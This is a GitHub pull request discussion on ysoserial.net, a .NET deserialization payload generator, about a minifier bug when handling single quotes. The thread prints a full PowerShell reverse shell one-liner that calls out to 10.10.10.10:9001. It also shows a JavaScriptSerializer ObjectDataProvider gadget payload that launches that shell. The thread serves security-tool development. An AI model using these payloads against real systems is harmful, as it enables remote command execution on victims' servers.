pwntester / ysoserial.net

Deserialization payload generator for a variety of .NET formatters
MIT License
3.18k stars 468 forks source link

ObjectDataProvider minifier fixes #135

Closed Bort-Millipede closed 2 years ago

Bort-Millipede commented 2 years ago

Fix for using the "minify" option with the ObjectDataProvider gadget and the "Json.Net" or "JavaScriptSerializer" formatters. Prevents the following unhandled exception when inputting a command containing ' characters:

>ysoserial.exe -g ObjectDataProvider -f JavascriptSerializer -s --minify
powershell -nop -W hidden -noni -ep bypass -c "$TCPClient = New-Object Net.Sockets.TCPClient('10.10.10.10', 9001);$NetworkStream = $TCPClient.GetStream();$StreamWriter = New-Object IO.StreamWriter($NetworkStream);function WriteToStream ($String) {[byte[]]$script:Buffer = 0..$TCPClient.ReceiveBufferSize | % {0};$StreamWriter.Write($String + 'SHELL> ');$StreamWriter.Flush()}WriteToStream '';while(($BytesRead = $NetworkStream.Read($Buffer, 0, $Buffer.Length)) -gt 0) {$Command = ([text.encoding]::UTF8).GetString($Buffer, 0, $BytesRead - 1);$Output = try {Invoke-Expression $Command 2>&1 | Out-String} catch {$_ | Out-String}WriteToStream ($Output)}$StreamWriter.Close()"

Unhandled Exception: Newtonsoft.Json.JsonReaderException: After parsing a value an unexpected character was encountered: 1. Path 'ObjectInstance.StartInfo.Arguments', line 8, position 141.
   at Newtonsoft.Json.JsonTextReader.ParsePostValue(Boolean ignoreComments)
   at Newtonsoft.Json.JsonTextReader.Read()
   at Newtonsoft.Json.JsonWriter.WriteToken(JsonReader reader, Boolean writeChildren, Boolean writeDateConstructorAsDate, Boolean writeComments)
   at Newtonsoft.Json.JsonWriter.WriteToken(JsonReader reader, Boolean writeChildren)
   at ysoserial.Helpers.JsonMinifier.JsonNetMinifier(String jsonString) in C:\Users\User\source\repos\ysoserial.net-master\ysoserial\Helpers\JsonMinifier.cs:line 69
   at ysoserial.Helpers.JsonMinifier.Minify(String jsonString, String[] LooseAssemblyNames, String[] finalDiscardableRegExStringArray) in C:\Users\User\source\repos\ysoserial.net-master\ysoserial\Helpers\JsonMinifier.cs:line 18
   at ysoserial.Generators.ObjectDataProviderGenerator.Generate(String formatter, InputArgs inputArgs) in C:\Users\User\source\repos\ysoserial.net-master\ysoserial\Generators\ObjectDataProviderGenerator.cs:line 290
   at ysoserial.Generators.GenericGenerator.GenerateWithInit(String formatter, InputArgs inputArgs) in C:\Users\User\source\repos\ysoserial.net-master\ysoserial\Generators\GenericGenerator.cs:line 68
   at ysoserial.Program.Main(String[] args) in C:\Users\User\source\repos\ysoserial.net-master\ysoserial\Program.cs:line 208
irsdl commented 2 years ago

Thanks @Bort-Millipede for the fix. However, I think the issue here is that the single quote is not being encoded properly in https://github.com/pwntester/ysoserial.net/blob/6869a7c16471698f2190e0b156e5107c84604b84/ysoserial/Helpers/CommandArgSplitter.cs#L27.

We see the error only when we minify it but even without it the payload will be like the following which is still broken:

{
    '__type':'System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35',
    'MethodName':'Start',
    'ObjectInstance':{
        '__type':'System.Diagnostics.Process, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089',
        'StartInfo': {
            '__type':'System.Diagnostics.ProcessStartInfo, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089',
            'FileName':'cmd', 'Arguments':'/c powershell -nop -W hidden -noni -ep bypass -c \"$TCPClient = New-Object Net.Sockets.TCPClient('10.10.10.10', 9001);$NetworkStream = $TCPClient.GetStream();$StreamWriter = New-Object IO.StreamWriter($NetworkStream);function WriteToStream ($String) {[byte[]]$script:Buffer = 0..$TCPClient.ReceiveBufferSize | % {0};$StreamWriter.Write($String  'SHELL> ');$StreamWriter.Flush()}WriteToStream '';while(($BytesRead = $NetworkStream.Read($Buffer, 0, $Buffer.Length)) -gt 0) {$Command = ([text.encoding]::UTF8).GetString($Buffer, 0, $BytesRead - 1);$Output = try {Invoke-Expression $Command 2>&1 | Out-String} catch {$_ | Out-String}WriteToStream ($Output)}$StreamWriter.Close()\"'
        }
    }
}

I will update the internal encoder to fix this.